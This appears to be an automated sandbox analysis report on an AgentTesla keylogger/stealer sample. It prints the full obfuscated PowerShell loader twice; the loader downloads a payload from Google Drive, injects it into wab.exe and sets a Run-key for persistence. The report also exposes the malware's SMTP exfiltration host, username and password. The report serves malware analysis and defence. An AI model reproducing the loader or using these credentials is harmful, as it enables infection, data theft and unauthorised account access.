agenttesla | 48650c8b5f16dbc8cf74c2e9953b573a3c41785c67f2e71457ba306f04020694

Analysis

max time kernel
152s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
18/04/2024, 09:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Psychologizing.vbe
Size 206KB
Sample240418-ltc13ahe96
SHA256 48650c8b5f16dbc8cf74c2e9953b573a3c41785c67f2e71457ba306f04020694
MD5 b9b0cb584d4f39501f427645d8dade56
SHA1 815162a79a8da42af1035b07f797223787b666db
SHA512 aa3201fd72c9cb9c868718a5091247485db39805029695f753536930d93408babd3eb7bd5ba165911ec5a921dab7f763d366065714a5c643511bd1963388afcb
SSDEEP 6144:MYBgIjQvrMbWSR4WHUJJs9E87Fy4lZrUChpqKmjum4QlNVrDjXR46cCPCRJf9qmk:12dOr6f
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol
smtp
Host
mail.cash4cars.nz
Port
587
Username
[email protected]
Password
logs2024!
Email to
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
13	1228	powershell.exe
16	1228	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1230272463-3683322193-511842230-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1230272463-3683322193-511842230-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\newfile = "C:\\Users\\Admin\\AppData\\Roaming\\newfile\\newfile.exe"	wab.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
12	drive.google.com
13	drive.google.com
50	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
58	ip-api.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2464	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3508	powershell.exe
2464	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3508 set thread context of 2464	3508	powershell.exe	102

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1228	powershell.exe
1228	powershell.exe
3508	powershell.exe
3508	powershell.exe
3508	powershell.exe
3508	powershell.exe
2464	wab.exe
2464	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3508	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1228	powershell.exe
Token: SeDebugPrivilege	3508	powershell.exe
Token: SeDebugPrivilege	2464	wab.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3520 wrote to memory of 1228	3520	WScript.exe	90
PID 3520 wrote to memory of 1228	3520	WScript.exe	90
PID 1228 wrote to memory of 2384	1228	powershell.exe	93
PID 1228 wrote to memory of 2384	1228	powershell.exe	93
PID 1228 wrote to memory of 3508	1228	powershell.exe	99
PID 1228 wrote to memory of 3508	1228	powershell.exe	99
PID 1228 wrote to memory of 3508	1228	powershell.exe	99
PID 3508 wrote to memory of 116	3508	powershell.exe	100
PID 3508 wrote to memory of 116	3508	powershell.exe	100
PID 3508 wrote to memory of 116	3508	powershell.exe	100
PID 3508 wrote to memory of 2464	3508	powershell.exe	102
PID 3508 wrote to memory of 2464	3508	powershell.exe	102
PID 3508 wrote to memory of 2464	3508	powershell.exe	102
PID 3508 wrote to memory of 2464	3508	powershell.exe	102
PID 3508 wrote to memory of 2464	3508	powershell.exe	102

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Psychologizing.vbe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$desalinise = 1;$Arabism='Substrin';$Arabism+='g';Function Chlorothiazide($Serpenticide){$Pyrochlore=$Serpenticide.Length-$desalinise;For($Perlection=5; $Perlection -lt $Pyrochlore; $Perlection+=(6)){$Excess+=$Serpenticide.$Arabism.Invoke($Perlection, $desalinise);}$Excess;}function Licies($Proficience){& ($Udfoldelsesmulighed) ($Proficience);}$Forberedelsers=Chlorothiazide 'GelilMU queo CasszResisiRumbllBrochlMontea,kulk/ Prom5Resad.Under0 oris Overp( AskeWUnderiArchanRodl,dStocaoDeno,wBr.sks Mini FormaNC,bboT Kaol Outs1T.ris0 Webd.W.ldl0 Prra;Lacin Vis W Odrsi AdamnTi ma6Ichth4Helic;Nettl Hypexpro o6Emplo4Rente; idop E,farrridgiv Pot.: Efte1 Isid2Glimt1F gvi.Prece0Min.r)Detal Ro,geGLyssheTouarcKeritkSylesoKn.ce/Dikte2Di ke0.spej1Ov rf0Fenes0Distr1Unmix0B,aug1Nonfe InabiFKrigsi Pa,tr EtcheOve.df kurtoGrundx Perf/Crabm1Rdkin2Lig.t1 Kolo.,otho0 R,sp ';$Hypotypic=Chlorothiazide 'KronaUcharasG,streM.elorFunde-FibroA PamigUrinreHumannThermtMenne ';$Skandinavien83=Chlorothiazide ' Nonih .dsptUratetmarinpTeknisPa,le:Semib/,robl/.hortdSteplr D,cyiUnposvFaglreQueen.AridlgPeotooUnendo.lapsgJutu.lstrudeAnaly.AabencSlyneoIn.ummSmila/Bagg.uRuc icSty t?paatae AkadxEls,ep Mazuo Tostr Gunst.embo=a.phadLagero .aarwmaksinDysodlTrf.iog amsaTot,edMegal&ChapeiUnderdTreta=Madwo1 GyldHAcostM tinsXSilikp UnlaGKillegCommiDRe egy SparAArti.WSeedn6Ene.i7SnowfLMajorkOutdaXRevolIRing.KAboitSReabssUnderFPlum.pnaywoFChokoQ upspW RotaiSex,mP KoiaARoegpW feria Un eKTami SSel cSTuber ';$Nonrespectable=Chlorothiazide 'Seadr>Heads ';$Udfoldelsesmulighed=Chlorothiazide 'VernaiMillieFreckx Fi,s ';$Kvitterende = Chlorothiazide 'ChirueHolo,cDeakthAn.eloServi .vera%L egraSkolepTiltap OpardArbe,aKapittWuzu,apante%B ndt\LysesAL.gernGuillsSouthpbrnehoPublir .reme ImpedStickeRelok.BeggaS UtakeBe.samRegne Urvrk&Compl&Alfas phte No,ecImp,whcompaoProli Asthe$Br.ni ';Licies (Chlorothiazide 'Towhe$ Mi,sgZekevlStud.oGrendb olsta,ydrolUnapo:Slv,tSUndishCalycoTsninr c.ostDishahVitupeKerneeprecelFirkasBedyr2Skfte4 Tj,n9 peci=Bedmm( RedecIm.armJugosdRdklk Pinn/ SpeccLavar Afsl$SpareKKnsrovFlammiRedeet PreatAfreeeSpnder .pecePockencompldCystie Tw l)Respe ');Licies (Chlorothiazide ' asse$PyodegSpiltl Unofo BidabByg.eaMegacl Dyng: MyelGOdontacurinsbgehjtPolygr,ovedoTon,ltInteryA,modmHyd opImareaSlovenBro,diTankst No,teIndeksEichb= Irre$tu geSI.refkMyasiaIsegrnFi.dldGgesaiPfennnAseeta urtivspndkiRhetoePaic.nA,top8Unsta3halva.HjernsFjordp curvl RoeniGrnthtUnlog(San.t$ progNde.leoErobrnAllonrLeptoeUnencs Glosp No eeHeg,ecElekttDogmaa Bukob TaxalsorteeSpind)Mult ');$Skandinavien83=$Gastrotympanites[0];Licies (Chlorothiazide 'diasu$Bona,gDialyl SprooS,uinbHerreaMarshlSmadr:Dagh,SMimrei IsocgTe.stmNonalaPa setAtr,aiSkabeoReadmnOmdbt=Un,biNSlaugeF renwDatal-BefulOTomb,bSkrifjVenskeStegacTroldtNearc Bio.SPerseyGallos AlpetFormoeTarerm,ortf. InteN Youne PaaktDatab.OvertWMalereArbejbOgiveCUnderlU sugiSerote bovnn EcuptBrint ');Licies (Chlorothiazide '.kefj$ igarS Proti.tensgInulomSupr aDag,ot Intoi DugfoObscunUninv.Geni,H Druee OppoaRenatdTwente Whi,rPer csOrg.n[Beave$BjrgeHt,uray TriupMandfoskaaltRegioySmothpCicatiRat.ocHalvh]Hages= Kon $eklipF Inoco AlkyrconvubT.ndeemedicr Homoe Testdhvlvie VerdlElevas nddaepet,rrSkamssCompu ');$Bgersvingere=Chlorothiazide 'RistaSUn.luiO,ydsgDerelm cagya.edietunbr,iOpinioSt,vanlandb.kamerDSelefoTh,llw LikenTaf.el Lskuo Prnaa Hol,d iberF Indki Entrl Disse.asti(Const$Lizl,SInchokl,nieaGy elnKorsidDamn.i K,abnideolaDansevudsmyiDecene S.lfnDryop8 Nont3Malap,A,rem$pr paMkredieSquarmBis,ob StoprSourbaSpnden DuodaVidercEmboueSubpeo velsuSupersUnderlCyanoy Blde) O su ';$Bgersvingere=$Shortheels249[1]+$Bgersvingere;$Membranaceously=$Shortheels249[0];Licies (Chlorothiazide 'Bundt$Pap wgGlazilinteroPrecobFdevaaUnp llPerem: CheiSDefinlRodskaPolymgKableeLaskpl Lkk.s TrameContobviruso incasUdstn= Rad,( OwnnTAdrene,vervsTar.itDehor-UdrykPZygosa Ho.pt HypnhAmph Bestj$LagriM P.eaeDeperm,ollabI munrBarycaSidemnSsonma Av,scEng.oeAdv roSociouLaks.sTilfalTo,puyF,yns)S.aph ');while (!$Slagelsebos) {Licies (Chlorothiazide 'I oge$UndisgOverul ImproGrinabdisroaUdskrl B rs:EjendMS.yggoTe egnGce.lebenevyVgt,im AtheaAntiekQua,fe Bermr Rund=Budcy$IsfjetInferrnatiouUnreceFests ') ;Licies $Bgersvingere;Licies (Chlorothiazide 'overmSHypoftCryptaenebrrDeutotAfbr -Dk,reSspektlR,bote Folke BrsspMilie Ca ap4Deani ');Licies (Chlorothiazide 'Birdw$PuttigbidralBag.roPetasb Mar.aSimonlEivin:Sta,mSInto,lPileoaCro,pgCas,eeE inglFranas oemmemaldobApin opallasRivet=Hospi(hvsesTSmaddeSeletsNonsptNeatl-StenrPYdergaDeadftSve dh Samm .fvan$ UncoMBi.leeKonstmSpkkeb ForvrTrissahjlpen SretaCasanc Accoe Mid,oRevocuUdsags UnfelErobryUvild)Rengr ') ;Licies (Chlorothiazide ' Orga$StiklgHair lBruyeoBatc.bSindsaSyge,lDefic:D,talAHypopr.altmb Plate TassjRituadFdestsSusest T ali Co.rdC,traeHo,hhnLedels Reta=ineff$Pengeg Cenol TeeroStaa.bEnneaaStudel iske:BoltsSma.eslt geraStorspJenskpAfheneTomrusStrm,tChampi HunkcKamikk,ngarsForfl+Pen y+ Cata%Krist$Sti,eGEkshia PantsDydsdtAmtmnrWisepoBetaktStandy Hyrem M stpSheataSpidsn Lns iLibertDirigeplejes Usy,.KldercS.matoAn.lauDis onSerietHelli ') ;$Skandinavien83=$Gastrotympanites[$Arbejdstidens];}Licies (Chlorothiazide 'Epith$ Rigsg mperlRes roSyvsobUng.iaAt,melSamle:HygroOS ppoaThermrsl lar S mmoCeliowKulkahF,ifieSagsoa.euredPinoceOppebd Ne,r Eucal=Veals Anfo G RaggeAfs.otFutur- .illCSwareoSulfan.ftertKoldeeBoxhanSammetF.res Tilri$MystiMR.reteNeuromTiltrbB.kenrTrimpaSkadenDogcaaPrec cF.rhjeMedr oCircsuRn nssToldblS.rgsyClon, ');Licies (Chlorothiazide 'Pa.eo$ Acrog Ef.elS ikpo ,ssibelectaMe,melgamme:NrlseI ForssTilkmhSarmem Stroa Su,pe,ecryl TashiAfdrit ForviPurits I.samFuldf Ca oc=Verme Craal[S,intSStvriyWeldosYdrelt Co,yeP iesmPrehi.Gig nCFootwo tangn.dprevBanegesa.acrAr,ejt Sans] Bila: etr:OmgreF ClubrEskadoKustomG.mmiB iffaAaremsresule Qa a6Dh,rm4GraveSNavitt BesirNoncoiRheinnStorgg Rel (Da,ab$RgforOJournaDagsrrOfrinrElinoo arbewKultuh VerdeBlimeaSabu.d T rdeAvididObser)Tigge ');Licies (Chlorothiazide 'Int.r$ I figRt.bllLily o,erivb ReklaPus,tlTrill:B.ikeAForudutortum,rintaPseudgSkorpa Vade1Antie3Gs,aa5 valo Kaffe= Fant mul,i[Vanl.STest,y JomfsKos,vt prodePettemBlanc.RidsvTOrogeeVivaxx NightAna,o.OrobaE SolbnKarrec BactoWedgedRatabi WalknL,mnogSabot]Oasen:Relat: CichA opodSSeparCM.kreI IlliIPudd . ImpaGplse.eKreitt.ashhSAp,tht ExitrInteriG besnGrissg Fjan(Fyraf$PhytoIInerts.ilich.ortrmAbaxiaGardeeHjemrlSpaltiPrerotMedini FejlsUdtagmS,cti)Milie ');Licies (Chlorothiazide 'Dorin$JannigUnderlAntiroKn,vebTelegaLentnlLa nc:NatalSStudip KlaboGc,tenSprittStyriaS,limnPrereeSkemao SiamuMegafsRes.nlToployHegna=Forde$CaponAEmulau,aldemPortuaProjeg BelaaRussi1Jvnst3Slutt5D.car.Weirds.ybstuVagtsbApprosgymnutPuls,r ServiTitt.nBise.g Mob (Slrin2 Afsl7Ekspl8Straf5H,leb6Skif,0Lea,n,Gtesk2 omma7Centi7 edis5 Come1 oppo)Erot ');Licies $Spontaneously;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1228
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ansporede.Sem && echo $"
    3⤵
    PID:2384
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$desalinise = 1;$Arabism='Substrin';$Arabism+='g';Function Chlorothiazide($Serpenticide){$Pyrochlore=$Serpenticide.Length-$desalinise;For($Perlection=5; $Perlection -lt $Pyrochlore; $Perlection+=(6)){$Excess+=$Serpenticide.$Arabism.Invoke($Perlection, $desalinise);}$Excess;}function Licies($Proficience){& ($Udfoldelsesmulighed) ($Proficience);}$Forberedelsers=Chlorothiazide 'GelilMU queo CasszResisiRumbllBrochlMontea,kulk/ Prom5Resad.Under0 oris Overp( AskeWUnderiArchanRodl,dStocaoDeno,wBr.sks Mini FormaNC,bboT Kaol Outs1T.ris0 Webd.W.ldl0 Prra;Lacin Vis W Odrsi AdamnTi ma6Ichth4Helic;Nettl Hypexpro o6Emplo4Rente; idop E,farrridgiv Pot.: Efte1 Isid2Glimt1F gvi.Prece0Min.r)Detal Ro,geGLyssheTouarcKeritkSylesoKn.ce/Dikte2Di ke0.spej1Ov rf0Fenes0Distr1Unmix0B,aug1Nonfe InabiFKrigsi Pa,tr EtcheOve.df kurtoGrundx Perf/Crabm1Rdkin2Lig.t1 Kolo.,otho0 R,sp ';$Hypotypic=Chlorothiazide 'KronaUcharasG,streM.elorFunde-FibroA PamigUrinreHumannThermtMenne ';$Skandinavien83=Chlorothiazide ' Nonih .dsptUratetmarinpTeknisPa,le:Semib/,robl/.hortdSteplr D,cyiUnposvFaglreQueen.AridlgPeotooUnendo.lapsgJutu.lstrudeAnaly.AabencSlyneoIn.ummSmila/Bagg.uRuc icSty t?paatae AkadxEls,ep Mazuo Tostr Gunst.embo=a.phadLagero .aarwmaksinDysodlTrf.iog amsaTot,edMegal&ChapeiUnderdTreta=Madwo1 GyldHAcostM tinsXSilikp UnlaGKillegCommiDRe egy SparAArti.WSeedn6Ene.i7SnowfLMajorkOutdaXRevolIRing.KAboitSReabssUnderFPlum.pnaywoFChokoQ upspW RotaiSex,mP KoiaARoegpW feria Un eKTami SSel cSTuber ';$Nonrespectable=Chlorothiazide 'Seadr>Heads ';$Udfoldelsesmulighed=Chlorothiazide 'VernaiMillieFreckx Fi,s ';$Kvitterende = Chlorothiazide 'ChirueHolo,cDeakthAn.eloServi .vera%L egraSkolepTiltap OpardArbe,aKapittWuzu,apante%B ndt\LysesAL.gernGuillsSouthpbrnehoPublir .reme ImpedStickeRelok.BeggaS UtakeBe.samRegne Urvrk&Compl&Alfas phte No,ecImp,whcompaoProli Asthe$Br.ni ';Licies (Chlorothiazide 'Towhe$ Mi,sgZekevlStud.oGrendb olsta,ydrolUnapo:Slv,tSUndishCalycoTsninr c.ostDishahVitupeKerneeprecelFirkasBedyr2Skfte4 Tj,n9 peci=Bedmm( RedecIm.armJugosdRdklk Pinn/ SpeccLavar Afsl$SpareKKnsrovFlammiRedeet PreatAfreeeSpnder .pecePockencompldCystie Tw l)Respe ');Licies (Chlorothiazide ' asse$PyodegSpiltl Unofo BidabByg.eaMegacl Dyng: MyelGOdontacurinsbgehjtPolygr,ovedoTon,ltInteryA,modmHyd opImareaSlovenBro,diTankst No,teIndeksEichb= Irre$tu geSI.refkMyasiaIsegrnFi.dldGgesaiPfennnAseeta urtivspndkiRhetoePaic.nA,top8Unsta3halva.HjernsFjordp curvl RoeniGrnthtUnlog(San.t$ progNde.leoErobrnAllonrLeptoeUnencs Glosp No eeHeg,ecElekttDogmaa Bukob TaxalsorteeSpind)Mult ');$Skandinavien83=$Gastrotympanites[0];Licies (Chlorothiazide 'diasu$Bona,gDialyl SprooS,uinbHerreaMarshlSmadr:Dagh,SMimrei IsocgTe.stmNonalaPa setAtr,aiSkabeoReadmnOmdbt=Un,biNSlaugeF renwDatal-BefulOTomb,bSkrifjVenskeStegacTroldtNearc Bio.SPerseyGallos AlpetFormoeTarerm,ortf. InteN Youne PaaktDatab.OvertWMalereArbejbOgiveCUnderlU sugiSerote bovnn EcuptBrint ');Licies (Chlorothiazide '.kefj$ igarS Proti.tensgInulomSupr aDag,ot Intoi DugfoObscunUninv.Geni,H Druee OppoaRenatdTwente Whi,rPer csOrg.n[Beave$BjrgeHt,uray TriupMandfoskaaltRegioySmothpCicatiRat.ocHalvh]Hages= Kon $eklipF Inoco AlkyrconvubT.ndeemedicr Homoe Testdhvlvie VerdlElevas nddaepet,rrSkamssCompu ');$Bgersvingere=Chlorothiazide 'RistaSUn.luiO,ydsgDerelm cagya.edietunbr,iOpinioSt,vanlandb.kamerDSelefoTh,llw LikenTaf.el Lskuo Prnaa Hol,d iberF Indki Entrl Disse.asti(Const$Lizl,SInchokl,nieaGy elnKorsidDamn.i K,abnideolaDansevudsmyiDecene S.lfnDryop8 Nont3Malap,A,rem$pr paMkredieSquarmBis,ob StoprSourbaSpnden DuodaVidercEmboueSubpeo velsuSupersUnderlCyanoy Blde) O su ';$Bgersvingere=$Shortheels249[1]+$Bgersvingere;$Membranaceously=$Shortheels249[0];Licies (Chlorothiazide 'Bundt$Pap wgGlazilinteroPrecobFdevaaUnp llPerem: CheiSDefinlRodskaPolymgKableeLaskpl Lkk.s TrameContobviruso incasUdstn= Rad,( OwnnTAdrene,vervsTar.itDehor-UdrykPZygosa Ho.pt HypnhAmph Bestj$LagriM P.eaeDeperm,ollabI munrBarycaSidemnSsonma Av,scEng.oeAdv roSociouLaks.sTilfalTo,puyF,yns)S.aph ');while (!$Slagelsebos) {Licies (Chlorothiazide 'I oge$UndisgOverul ImproGrinabdisroaUdskrl B rs:EjendMS.yggoTe egnGce.lebenevyVgt,im AtheaAntiekQua,fe Bermr Rund=Budcy$IsfjetInferrnatiouUnreceFests ') ;Licies $Bgersvingere;Licies (Chlorothiazide 'overmSHypoftCryptaenebrrDeutotAfbr -Dk,reSspektlR,bote Folke BrsspMilie Ca ap4Deani ');Licies (Chlorothiazide 'Birdw$PuttigbidralBag.roPetasb Mar.aSimonlEivin:Sta,mSInto,lPileoaCro,pgCas,eeE inglFranas oemmemaldobApin opallasRivet=Hospi(hvsesTSmaddeSeletsNonsptNeatl-StenrPYdergaDeadftSve dh Samm .fvan$ UncoMBi.leeKonstmSpkkeb ForvrTrissahjlpen SretaCasanc Accoe Mid,oRevocuUdsags UnfelErobryUvild)Rengr ') ;Licies (Chlorothiazide ' Orga$StiklgHair lBruyeoBatc.bSindsaSyge,lDefic:D,talAHypopr.altmb Plate TassjRituadFdestsSusest T ali Co.rdC,traeHo,hhnLedels Reta=ineff$Pengeg Cenol TeeroStaa.bEnneaaStudel iske:BoltsSma.eslt geraStorspJenskpAfheneTomrusStrm,tChampi HunkcKamikk,ngarsForfl+Pen y+ Cata%Krist$Sti,eGEkshia PantsDydsdtAmtmnrWisepoBetaktStandy Hyrem M stpSheataSpidsn Lns iLibertDirigeplejes Usy,.KldercS.matoAn.lauDis onSerietHelli ') ;$Skandinavien83=$Gastrotympanites[$Arbejdstidens];}Licies (Chlorothiazide 'Epith$ Rigsg mperlRes roSyvsobUng.iaAt,melSamle:HygroOS ppoaThermrsl lar S mmoCeliowKulkahF,ifieSagsoa.euredPinoceOppebd Ne,r Eucal=Veals Anfo G RaggeAfs.otFutur- .illCSwareoSulfan.ftertKoldeeBoxhanSammetF.res Tilri$MystiMR.reteNeuromTiltrbB.kenrTrimpaSkadenDogcaaPrec cF.rhjeMedr oCircsuRn nssToldblS.rgsyClon, ');Licies (Chlorothiazide 'Pa.eo$ Acrog Ef.elS ikpo ,ssibelectaMe,melgamme:NrlseI ForssTilkmhSarmem Stroa Su,pe,ecryl TashiAfdrit ForviPurits I.samFuldf Ca oc=Verme Craal[S,intSStvriyWeldosYdrelt Co,yeP iesmPrehi.Gig nCFootwo tangn.dprevBanegesa.acrAr,ejt Sans] Bila: etr:OmgreF ClubrEskadoKustomG.mmiB iffaAaremsresule Qa a6Dh,rm4GraveSNavitt BesirNoncoiRheinnStorgg Rel (Da,ab$RgforOJournaDagsrrOfrinrElinoo arbewKultuh VerdeBlimeaSabu.d T rdeAvididObser)Tigge ');Licies (Chlorothiazide 'Int.r$ I figRt.bllLily o,erivb ReklaPus,tlTrill:B.ikeAForudutortum,rintaPseudgSkorpa Vade1Antie3Gs,aa5 valo Kaffe= Fant mul,i[Vanl.STest,y JomfsKos,vt prodePettemBlanc.RidsvTOrogeeVivaxx NightAna,o.OrobaE SolbnKarrec BactoWedgedRatabi WalknL,mnogSabot]Oasen:Relat: CichA opodSSeparCM.kreI IlliIPudd . ImpaGplse.eKreitt.ashhSAp,tht ExitrInteriG besnGrissg Fjan(Fyraf$PhytoIInerts.ilich.ortrmAbaxiaGardeeHjemrlSpaltiPrerotMedini FejlsUdtagmS,cti)Milie ');Licies (Chlorothiazide 'Dorin$JannigUnderlAntiroKn,vebTelegaLentnlLa nc:NatalSStudip KlaboGc,tenSprittStyriaS,limnPrereeSkemao SiamuMegafsRes.nlToployHegna=Forde$CaponAEmulau,aldemPortuaProjeg BelaaRussi1Jvnst3Slutt5D.car.Weirds.ybstuVagtsbApprosgymnutPuls,r ServiTitt.nBise.g Mob (Slrin2 Afsl7Ekspl8Straf5H,leb6Skif,0Lea,n,Gtesk2 omma7Centi7 edis5 Come1 oppo)Erot ');Licies $Spontaneously;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3508
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ansporede.Sem && echo $"
      4⤵
      PID:116
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Adds Run key to start application
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2464

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4568,i,17229298512878960157,13441031190071685883,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:8
1⤵
PID:4548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_14xzjlv0.0x5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_14xzjlv0.0x5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Ansporede.Sem

Path C:\Users\Admin\AppData\Roaming\Ansporede.Sem
Size 398KB
SHA256 3f6f3c4c9b1f44d62806c9095b11b6c8761a9fe61d23d000c7a8fb8cbbd4aa66
MD5 9c18d5a039eee472e51f0a36e0bdfbf4
SHA1 127dcdf4ff50e3acf56f04711325f046dfdb3c01
SHA512 1b71c07a0964e4734b6fc161036c77c9a8860b7ec8c7800d3968cdcb9cd2f8aa71a407ed168af74cb07dd22b73b1a048179291386be34b1eb37a047ca55c4801
SSDEEP 6144:0iDwqKaM1KrTYpbeDNEGUviaGLtuMieZSdIhcQHLWNzydhCRE2HHWsZ0mlS8Ay0R:oLaM0rWb+CcuMiVseNzFLD0mbA9J
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1228-36-0x00007FFCE0360000-0x00007FFCE0E21000-memory.dmp

Download

memory/1228-9-0x0000013E7F180000-0x0000013E7F1A2000-memory.dmp

Download

memory/1228-10-0x00007FFCE0360000-0x00007FFCE0E21000-memory.dmp

Download

memory/1228-11-0x0000013E199C0000-0x0000013E199D0000-memory.dmp

Download

memory/1228-12-0x0000013E199C0000-0x0000013E199D0000-memory.dmp

Download

memory/1228-13-0x0000013E199C0000-0x0000013E199D0000-memory.dmp

Download

memory/1228-80-0x00007FFCE0360000-0x00007FFCE0E21000-memory.dmp

Download

memory/1228-45-0x0000013E199C0000-0x0000013E199D0000-memory.dmp

Download

memory/1228-38-0x0000013E199C0000-0x0000013E199D0000-memory.dmp

Download

memory/1228-37-0x0000013E199C0000-0x0000013E199D0000-memory.dmp

Download

memory/2464-71-0x0000000000A00000-0x0000000001C54000-memory.dmp

Download

memory/2464-55-0x0000000001C60000-0x00000000042B8000-memory.dmp

Download

memory/2464-89-0x00000000221B0000-0x00000000221C0000-memory.dmp

Download

memory/2464-88-0x0000000074620000-0x0000000074DD0000-memory.dmp

Download

memory/2464-87-0x0000000022D50000-0x0000000022D5A000-memory.dmp

Download

memory/2464-86-0x0000000022DF0000-0x0000000022E82000-memory.dmp

Download

memory/2464-84-0x0000000022D00000-0x0000000022D50000-memory.dmp

Download

memory/2464-82-0x0000000001C60000-0x00000000042B8000-memory.dmp

Download

memory/2464-78-0x00000000221B0000-0x00000000221C0000-memory.dmp

Download

memory/2464-77-0x0000000074620000-0x0000000074DD0000-memory.dmp

Download

memory/2464-73-0x0000000000A00000-0x0000000000A42000-memory.dmp

Download

memory/2464-58-0x00000000770C8000-0x00000000770C9000-memory.dmp

Download

memory/2464-57-0x0000000077041000-0x0000000077161000-memory.dmp

Download

memory/3508-50-0x00000000050F0000-0x0000000005100000-memory.dmp

Download

memory/3508-42-0x00000000076F0000-0x0000000007712000-memory.dmp

Download

memory/3508-46-0x00000000050F0000-0x0000000005100000-memory.dmp

Download

memory/3508-47-0x0000000074620000-0x0000000074DD0000-memory.dmp

Download

memory/3508-48-0x00000000079B0000-0x00000000079B1000-memory.dmp

Download

memory/3508-49-0x0000000008EA0000-0x000000000B4F8000-memory.dmp

Download

memory/3508-23-0x0000000005690000-0x00000000056F6000-memory.dmp

Download

memory/3508-51-0x0000000008EA0000-0x000000000B4F8000-memory.dmp

Download

memory/3508-53-0x00000000050F0000-0x0000000005100000-memory.dmp

Download

memory/3508-54-0x0000000077041000-0x0000000077161000-memory.dmp

Download

memory/3508-19-0x00000000050F0000-0x0000000005100000-memory.dmp

Download

memory/3508-56-0x00000000050F0000-0x0000000005100000-memory.dmp

Download

memory/3508-43-0x00000000088F0000-0x0000000008E94000-memory.dmp

Download

memory/3508-18-0x00000000050F0000-0x0000000005100000-memory.dmp

Download

memory/3508-17-0x0000000074620000-0x0000000074DD0000-memory.dmp

Download

memory/3508-72-0x0000000074620000-0x0000000074DD0000-memory.dmp

Download

memory/3508-41-0x0000000007790000-0x0000000007826000-memory.dmp

Download

memory/3508-74-0x0000000008EA0000-0x000000000B4F8000-memory.dmp

Download

memory/3508-40-0x0000000006A20000-0x0000000006A3A000-memory.dmp

Download

memory/3508-39-0x0000000007CC0000-0x000000000833A000-memory.dmp

Download

memory/3508-16-0x0000000002AD0000-0x0000000002B06000-memory.dmp

Download

